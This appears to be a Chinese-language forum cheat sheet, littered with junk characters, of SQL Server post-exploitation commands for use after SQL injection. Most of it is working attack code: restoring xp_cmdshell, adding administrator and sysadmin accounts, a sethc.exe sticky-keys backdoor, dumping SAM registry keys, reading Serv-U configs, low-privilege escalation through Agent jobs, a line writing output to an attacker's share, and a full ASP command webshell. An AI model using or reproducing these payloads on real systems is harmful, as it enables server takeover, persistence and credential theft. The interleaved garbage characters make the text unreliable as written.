1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
$ \" q5 B' q4 p$ p7 l1 j恢复方法:查询分离器连接后,1 `0 S# _2 P- D% }! m0 l) m
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
& S5 z+ u3 o( K% C) t9 O& Y第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' - ~2 j3 }& [6 |4 V1 h( ] Q3 \
然后按F5键命令执行完毕9 v1 r& F3 E% j( e0 W5 k
1 L( \6 P3 C. i! |2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)1 t* f$ t4 Z( K2 B d1 E
恢复方法:查询分离器连接后,
]4 t* h% H9 n0 { F# E第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
0 m; a! i* X7 i0 G3 J7 a2 U第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
. M* Z/ P9 v6 i1 o6 ?/ P然后按F5键命令执行完毕
& q* x. {( E2 C# V, i ]4 e( b0 T) c" E3 L- H
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
! }# B$ }! b2 z4 z e恢复方法:查询分离器连接后,
4 c1 G9 s* I8 e) O9 B9 D, ?第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
- w# a! m6 r. K. N第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
; ]0 i) L) [' |( E% n- k然后按F5键命令执行完毕
# t) W, K3 B6 P- ]8 u: `) F
8 z& g- F3 m9 z4 终极方法.6 e5 r8 s0 m3 V) o$ y
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
* G1 ]" M" c* P3 u查询分离器连接后,' ~8 T% j) Q `, L' ?
2000servser系统:
3 K5 t: _$ i. A0 ldeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'3 L. n; x6 {- c6 K- k( h
2 ?/ h1 m/ A7 k4 o- c# `5 J, c; j8 Mdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add', w) T, P" t; J
' R- H# A7 d4 b7 @9 U: X/ o0 `
xp或2003server系统:
6 g4 |6 O; }5 k2 @9 ?( A V) q
v4 Q4 g4 }* C6 ]5 k# o+ i" qdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'- L7 o7 n( K6 i* j( J2 [8 ~
5 F4 W5 r1 f# J g4 Bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'" F" l' w% u0 M6 k6 m8 Z
: x9 g( ~. \$ K$ D+ D* J y/ L
; l; P8 Z0 C7 l$ ?8 @3 G, m0 @3 n五个SHIFT
; g+ y2 P p% b6 \8 v1 |declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
, M. U% p; N! Q( @/ m. I" ]. r' X6 ^6 f1 T% e( ]
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
l" {' _, o* K) R9 H9 W8 b3 K, `% K4 U, `9 C# {
xp_cmdshell执行命令另一种方法
% {0 F( k) T3 Y! N& c6 Hdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
- v' H. U' ]* [# Y& S9 F! }) F* N6 _, A1 b( Q) A4 I6 [% ?0 H! h0 ~
判断存储扩展是否存在+ Q) P( R# m* }: E% D9 a
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
# @: c' B" A6 x( m% V; k+ U返回结果为1就OK. Q2 Q3 V2 E- H" o+ k& {
* b$ c! _+ @) j. g K b, H) c- C! E, c. {
上传xplog70.dll恢复xp_cmdshell语句:
/ }: C* l) J8 P( l L2 y, xsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'% J( g! P- g& x6 f# h {6 t' e" i5 W
: _) V6 r# Z; A8 O3 m
否则上传xplog7.0.dll9 m: W5 i5 }! g8 _. Y
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
; O' Q/ O# E7 a5 C0 p: j+ {# f8 J: u. |
0 M+ N* S& N! e: M' m) t/ ~. ?/ v% t& t L* j+ D
首先开启沙盘模式:0 C4 {% h4 E1 L: e" _/ j" Z
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
, |" J5 R4 v# {6 I8 ?
?( p& b9 E8 A' K3 m然后利用jet.oledb执行系统命令
2 @& R* g. t% @# b( i7 u6 H( Uselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')* o- g* C9 O2 m4 P3 D
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了" R3 O9 Q5 a5 S) u, y
. |) T4 Y6 `$ Y1 D' |. E
9 c0 W& d4 J5 `5 G8 o0 u
/ z) D" P% G- @" B" X& y8 Y9 B恢复过程sp_addextendedproc 如下: 5 I4 N' n y1 G: y7 N
create procedure sp_addextendedproc --- 1996/08/30 20:13 & u3 X5 i0 c: G
@functname nvarchar(517),/* (owner.)name of function to call */ $ c, m: L4 \& j% w5 h/ r# L% P7 ]$ @
@dllname varchar(255)/* name of DLL containing function */ : l4 l) @) B, S, V9 W: D: S7 U6 {
as 4 N7 y! g5 p' X8 x' h# h5 ?, @" l
set implicit_transactions off
, @0 E; E3 R5 S' T( V' u7 J( i5 |2 mif @@trancount > 0 ; n/ q, ]: l* L4 H. g- |
begin
; S$ T4 i# g2 i* I kraiserror(15002,-1,-1,'sp_addextendedproc')
0 `7 W( _; o/ dreturn (1)
# c: k0 `, K( f$ A$ w) w6 [end
- c; _4 u1 `% ^# f6 y$ Idbcc addextendedproc( @functname, @dllname)
9 T$ T# f" j' {) h: L; d sreturn (0) -- sp_addextendedproc ; t! H# S3 X S: N! S$ D7 `! F
GO
, l# k; r7 W. d
0 J# V( G1 b x% ?' Q) _$ _8 {9 S; b7 s
& |8 i k" z8 F3 v' U导出管理员密码文件
0 `) y) Q. L, d, ?+ E7 msa默认可以读sam键.应该。
( b1 M2 g7 B+ Z5 E1 c) B' Ireg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg6 P' {- i! ?8 O
net user administrator test9 g/ I6 d4 X' M
用administrator登陆.
. ]' {5 s: a( f用完机器后: H6 R& R4 M4 Y% c) G
reg import c:\test.reg
4 f. y# ?: M: _0 p# G( d% ~根本不用克隆.
# l# f1 I5 v ?. H+ ~7 f9 A8 j5 D$ O找到对应的sid.
" b% X2 u5 }" l. l5 F: e9 N' k5 F& P0 H; B5 F
+ J: V( y9 t" D1 Q
. S p% X9 z% q* @; W
恢复所有存储过程
% t M4 W/ i' R+ N6 {8 }5 {use master
' S% |" c3 V Z$ qexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
6 W+ k2 Y- W1 w' a2 i# xexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
2 M; q6 {/ m8 @, P4 oexec sp_addextendedproc xp_loginconfig,'xplog70.dll' 5 Q2 g! Q1 T( g5 Y S% o- A5 ^
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
; V9 `0 b7 W( Z( r" lexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
s6 Q" j; F1 l2 Q) i: Oexec sp_addextendedproc sp_OACreate,'odsole70.dll' 2 M- ], h- n, Z! @. |. X
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
: U: |& B- t. f" Z) w) Kexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
! T0 M1 u0 R* [- {, |; K& e; |exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
* w0 @( P" b* R* n5 H$ y9 \exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
8 e3 m, v( {! y$ p8 oexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
$ [- d& j/ s: Q+ i9 d" j7 Qexec sp_addextendedproc sp_OAStop,'odsole70.dll' * B, D2 R9 |. ]: T
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
1 W: ?0 {, x- G3 Y, V: Iexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 8 [/ Z% g8 |" o( t2 @( T1 V l
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' ; K- _% k' t! X- a2 Q
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' & X: b( d3 E. n' k8 r
exec sp_addextendedproc xp_regread,'xpstar.dll'
* E1 o! s) [. b8 f- p2 Hexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
, V: A k5 q N- M# \+ L! iexec sp_addextendedproc xp_regwrite,'xpstar.dll'
* i2 u* [! e7 {- Mexec sp_addextendedproc xp_availablemedia,'xpstar.dll'% a3 \ Y8 P0 @ @' y) o5 G9 Z
: L2 b) a, B6 f2 L5 P
$ E7 `( {7 n j0 g8 G7 _% A建立读文件的存储过程, u& c( i9 h7 g6 {; z
Create proc sp_readTextFile @filename sysname' t+ N6 D# ?, X0 ]
as! Y* a) I1 V; J
& F' u# O c6 x1 o1 s; Q
begin * ]4 q! ~ }) ~+ d& [
set nocount on ( }/ _5 _% B& g" v7 |- ^8 m
Create table #tempfile (line varchar(8000))1 k7 g! F' P8 }9 q- f6 b
exec ('bulk insert #tempfile from "' + @filename + '"')& c2 Y( H. j) q. [/ n. b+ g
select * from #tempfile+ L! {% r/ O+ k# W
drop table #tempfile
" _! f. |0 a, R! B+ \) M; FEnd, G& x7 a+ d( s$ K
* J+ x5 f( `( t2 T9 oexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件( f. B, u: B" a9 J% i
查看登录用户
9 K& m4 x8 b }2 A) j5 aSelect * from sysxlogins
0 ?" y- [1 l6 H; ^* U/ G' Y$ v/ N# {/ U+ e5 ~8 z" ?- W
把文件内容读取到表中
) R. C) o/ |# KBULK INSERT tmp from "c:\test.txt") w+ p/ g8 X3 C1 }! B
dElete from 表名 清理表里的内容
- E5 M3 a) N: M9 z! ocreate table b_test(fn nvarchar(4000));建一个表,字段为fn9 M- T+ ~& d: @, ]6 ~" l, n) Z9 k
# ]' `3 m$ W& p
# N5 p0 }+ q# |& u1 J
加sa用户. H. W# X) Z+ g% F6 h5 v* X4 S& W: d# O
exec master.dbo.sp_addlogin user,pass;4 m" s; m& v" f/ P i- x
exec master.dbo.sp_addsrvrolemember user,sysadmin1 \3 z1 V- W9 V6 ^$ c
" M \: X2 Q) _
1 }' Z g3 L5 \1 I6 d4 p) `' l' v0 Z
1 t3 {7 @$ z# S; _2 i读文件代码+ T9 r5 w7 ]) c3 X& C3 R
declare @o int, @f int, @t int, @ret int" [" |/ O7 D+ x5 P# r
declare @line varchar(8000)0 X3 R* s6 k+ l; E9 O3 K! \
exec sp_oacreate 'scripting.filesystemobject', @o out. a3 u2 I# J8 @8 n
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1; O; u4 g- }( l+ K
exec @ret = sp_oamethod @f, 'readline', @line out. f# k* _- H0 y
while( @ret = 0 ): E+ T6 v" s" t" t& P) O! E
begin
% z6 H" S7 h8 c; [' W. ~. Vprint @line
0 F9 S; m' _% _) ~exec @ret = sp_oamethod @f, 'readline', @line out
3 ^/ {( g$ v' P# S4 Pend# x# J, z" z% V G
) v, |6 M% b" S- w, m$ O- \% g! @/ G
2 E7 R; n! d7 F5 e写文件代码:
5 v; z% l( J8 F; v3 R/ F, gdeclare @o int, @f int, @t int, @ret int
2 u( E+ @$ Q, o" l% E* x# {! Jexec sp_oacreate 'scripting.filesystemobject', @o out5 G. r9 C, i0 x& M
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
; ?0 F) e' r! X7 T/ K" u2 L+ gexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》9 F) U8 u# l# D, y; Y
2 T# B* ?! Y, d5 a0 x4 [% {. b" ]. I8 V8 Y" z& u( N
添加lake2 shell. o0 H7 o5 s8 Y1 U
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'1 O) F" c& j0 ~
sp_dropextendedproc xp_lake2
7 }0 O/ K. S: W1 ]) V1 W9 |9 |EXEC xp_lake2 'net user'5 B6 E: C2 g6 R0 Q7 a( t
5 Y' F! D" L' q/ x
) L! M+ G3 F3 z/ J
得到硬盘文件信息 0 e" }8 W: E- C' ]9 D w3 J# v+ W. x' }7 y
--参数说明:目录名,目录深度,是否显示文件 4 I. Q$ z O. |' p
execute master..xp_dirtree 'c:'
9 U k2 i* j# g, @- Nexecute master..xp_dirtree 'c:',1
( u$ q# Q o& I- {4 Zexecute master..xp_dirtree 'c:',1,1 ; _, D* T7 ^4 D( ?! j/ q9 n
5 K3 g7 c ^7 n
- W3 i) C a' n* A0 F% G; H# Y读serv-u配置信息
1 R) W5 u( g- x# S" _1 D( Bexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt': z4 n% g g. W
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'1 }" p& v) x% }0 N6 K
+ k* v4 @7 C3 b% d' q3 `. w2 v& _通过xp_regwrite写SHIFT后门
3 `; u) }( s9 x( F8 x9 ^4 f wexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
9 }. i ]) Y- @; z2 Z/ S4 \7 e7 P9 `. h2 R2 B. }
8 X+ r9 R0 ~+ ~. R* u F
7 o+ f1 G8 W& g- X2 n: B找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';$ d$ v q9 A1 o6 m
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了+ B/ w5 e, G" L1 Z0 U% }, U
+ j% A$ D; n; ^8 v9 Z1 v
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
7 Z) g+ b9 e A9 {" `3 ]
7 a& W9 \6 ^' D1 t/ r
, h+ P8 ~5 |+ y8 P) K: r8 S- a4 B" C# p+ b
sql server 2005下开启xp_cmdshell的办法
0 X0 B. Y/ Y* B3 r" h
0 z. B" r0 R- UEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;& h1 T) k% F1 w
+ M) b, E3 M4 z) [# MSQL2005开启'OPENROWSET'支持的方法:+ l. S! `1 \) Y! u! j# b
; \( W3 K9 b% L$ J3 M2 i, N
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
4 ~' S+ o- C( [0 y7 W0 x
0 U- V) F) U. X/ WSQL2005开启'sp_oacreate'支持的方法:% K2 v6 A# `8 Z: l: H8 H1 Z
% E& ^* S) R( }9 ^! Q2 [
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
* M: d# @3 H. V8 y7 d0 a; R0 d/ j2 E$ |' E7 U, l/ u0 r- e c+ \
2 B, @6 s( C( q1 l! C
; S# w( H$ \" O* U' Y) r- e' @$ L
; _& l: t g* _+ Q6 g3 y
8 m8 L2 V, i7 t* n
& e2 B. b; {" l+ G6 N6 v3 K) E
- Y1 c& D7 r; I; W: u
$ F4 \% s$ Q. S0 \) [
5 M3 \4 }# t1 I- Q4 ~3 d
0 l# ]5 ^1 O( O# h1 M
; v- f- ^) X, z6 d, ] A
8 m! ]8 n8 k5 n
) O( {% {* t2 }: C+ I s9 r2 Y8 b4 _3 { L1 X: y' H
# K: `) x f" D6 C/ u" _ J& U3 V" L
7 G# L( `1 S" i
8 v6 G+ X2 ]4 g. O- ^) s! E
% h: O/ g. s) }/ B! H* r0 b( h
- j9 S' x- \, w+ Y3 ^, c+ x# z6 c0 {; z4 L, [, `/ \6 z+ L
) w5 L; c) D. I& ]+ C2 N% |, c% l0 L
/ N1 P$ g: M# n6 B9 q
4 E; ^: s' \; O
# u) J/ S" F$ K) b! c! \以下方面不知道能不能成功暂且留下研究哈:
% f! F! d% o" m4)4 s5 }5 H# a# M2 h
use msdb; --这儿不要是master哟2 u8 u# H6 M5 Y% J& ]/ o
exec sp_add_job @job_name= czy82 ;$ g3 a$ [) g7 G( ~0 y8 R4 J
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;0 ~/ P' |2 _4 F ]
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;; G& Q/ X5 K" y6 `
exec sp_start_job @job_name= czy82 ;5 Y6 P+ f% q2 K
) a! W2 {7 h# q# f8 ?8 g" t* j( X
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以0 X, c0 n; ^ T$ X! x J$ r
执行tsql语句了.
3 Z9 \6 N8 }7 T* t% A6 r对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
?' X9 e6 ?" _6 q" S. Q: |第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
2 o% f9 V3 | Enet start SQLSERVERAGENT4 Z) {3 z* ?. j, T! T
; b+ F1 { y7 p7 I M/ ~. E
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
0 R, n' z2 x4 x$ J! b7 Y: Y4 B1 B }USE msdb
' w9 \" f6 a! v' a1 XEXEC sp_add_job @job_name = GetSystemOnSQL ,( p5 C9 e6 T7 C0 Y7 }7 J
@enabled = 1,: a; K# e: P6 E5 x& Z3 W* N" T% c
@description = This will give a low privileged user access to
' A1 }2 t7 ?2 `+ J& a# yxp_cmdshell ,! H: E, }) t4 O* h0 i5 c1 X3 j$ c
@delete_level = 1
- m9 p* z- n2 cEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
) M3 @1 f& v- y9 t! F2 t/ O8 D@step_name = Exec my sql ,
& P. `. e2 p+ m3 e' R6 p& k& C@subsystem = TSQL ,7 b- Q0 ~8 a6 d7 J& w Z
@command = exec master..xp_execresultset N select exec. w" ^, V- r9 s: N4 x$ i
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
# J7 D1 p3 u# g3 ~EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
) B1 N$ Q/ {$ {) |% a+ U6 p@server_name = 你的SQL的服务器名
. K4 q0 {- |% O8 F# O$ QEXEC sp_start_job @job_name = GetSystemOnSQL % P" K: t& B: K0 L1 `4 [
1 q$ x% C- W" o4 J不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以6 Q# ?7 g% m& j2 k" U
才让我们可以以public执行xp_cmdshell
" @+ }- `' I+ b" R- ]- U2 e, ?- Y# A2 p$ m. E
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
' B* v2 e+ T: Q在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
( n8 G" N/ g5 I. O' k& K' p" c
g! t8 O5 ?' N6 ZUSE msdb- l8 o) r B* v1 n
EXEC sp_add_job @job_name = ArbitraryFilecreate ,# B3 E8 a4 W" {0 B
@enabled = 1,# `! m( K. G4 p7 Z: y
@description = This will create a file called c:\sqlafc123.txt ,
( A1 x- T! W. U6 L+ X@delete_level = 1
% a$ i6 i0 s4 }, _! yEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
/ `8 j! C7 m) N! X+ |$ Y: N6 |@step_name = SQLAFC ,6 t* @( |0 \5 P, r8 F( n D
@subsystem = TSQL ,
; c" X% v9 s; K+ s- f@command = select hello, this file was created by the SQL Agent. ,) R3 M* i, e; N3 d5 |6 A9 C
@output_file_name = c:\sqlafc123.txt
) N9 f2 R0 K- i1 W+ c" x9 QEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,7 t; W2 ]+ }0 C; h" e3 l* B K
@server_name = SERVER_NAME x8 |+ J7 N8 B6 s8 }* b$ c
EXEC sp_start_job @job_name = ArbitraryFilecreate 1 A9 i6 C, {$ L/ H; h4 Q9 n- g
- a/ Y# M& T' A `& S& G如果subsystem选的是:tsql,在生成的文件的头部有如下内容
$ l9 s1 z$ X3 ?8 h' W
: Q( C- j. X7 h??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:191 W% C4 v+ | h, B V8 M
----------------------------------------------
7 ?( p9 p5 W; F8 A+ Jhello, this file was created by the SQL Agent.
4 R/ z" i; H4 ~+ U9 @0 h4 O' e- V5 N
(1 ?????)
$ [) n- g0 ], e: p4 ~, a+ N( u% N
( S% m: u% z; k8 y所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员; E- ~# Z! M: z) w4 c$ Y! h. }7 k
命令的vbs文件到启动目录!, g$ h9 Q- C% H
% j* g+ W% h: l/ _0 a' {* s
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)# P3 X ~; Q; o- e
关于sp_MScopyscriptfile 看下面的例子
J h7 {+ C; h" ydeclare @command varchar(100) 1 I% i' u0 l- y: y+ a% i3 @7 f
declare @scripfile varchar(200)
( O7 F$ w; i1 R5 H. t, |. k# J0 Hset concat_null_yields_null off / S' Q& J6 Q9 N, w0 v9 \) k: ?. n
select @command= dir c:\ > "\\attackerip\share\dir.txt" $ p% A( |5 n( n+ ]
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
& h5 {5 ~6 [& d1 J, Bexec sp_MScopyscriptfile @scripfile ,
# l/ i8 h8 A \& x8 D) q" t, X; d( D8 C8 s* q
这两个东东都还在测试试哟, t. W7 G- ?: b4 o% R
让MSSQL的public用户得到一个本机的web shell 8 R, g+ [/ W- W9 o/ A. g
2 t4 I2 i( i1 R' Q0 {( T
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,) f$ A3 B; U- P" ]" z
--@query= select <img src=vbscript:msgbox(now())> ) x. D' [' o* t/ a: T6 W0 ?( f
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> " k; Y# U+ X' L1 h. H% a
@query= select " C; m* K' _ v, T. u
<%On Error Resume Next / L3 i* Y- G2 `
Set oscript = Server.createObject("wscript.SHELL")
/ M# L y% o1 d2 BSet oscriptNet = Server.createObject("wscript.NETWORK")
; k& O# q6 Y9 S, }: p( bSet oFileSys = Server.createObject("scripting.FileSystemObject") 0 y1 H5 V2 D a8 [
szCMD = Request.Form(".CMD")
; f# t4 Z2 l; w5 k7 p2 n! v% qIf (szCMD <>"")Then
5 W: A Z; Q2 B! sszTempFile = "C:\" & oFileSys.GetTempName()
$ R! ?* a) }, H: N/ v" pCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
6 j' f6 n9 B- t wSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) ; o4 N( H* B/ {3 p0 _: ?: D
End If %> ' j+ [) t4 S: Q3 I
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
7 b' U. X" ]& m<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
. F* _5 q" d; B</FORM>< RE>
) i( y2 l* y3 h( T<% If (IsObject(oFile))Then j( c3 l' m1 T
On Error Resume Next
# R) P: N8 e$ M! |2 R$ sResponse.Write Server.HTMLEncode(oFile.ReadAll)
2 e: L% y& w+ c& n- {- [% }oFile.Close
/ \% K- ?& D3 `8 B! d. T9 ]# GCall oFileSys.deleteFile(szTempFile, True) . b; I6 e c) a( n
End If%>
- ~/ w# z; Y, J</BODY></HTML> 9 J5 I$ s* |5 n1 a" \4 B. I) w
|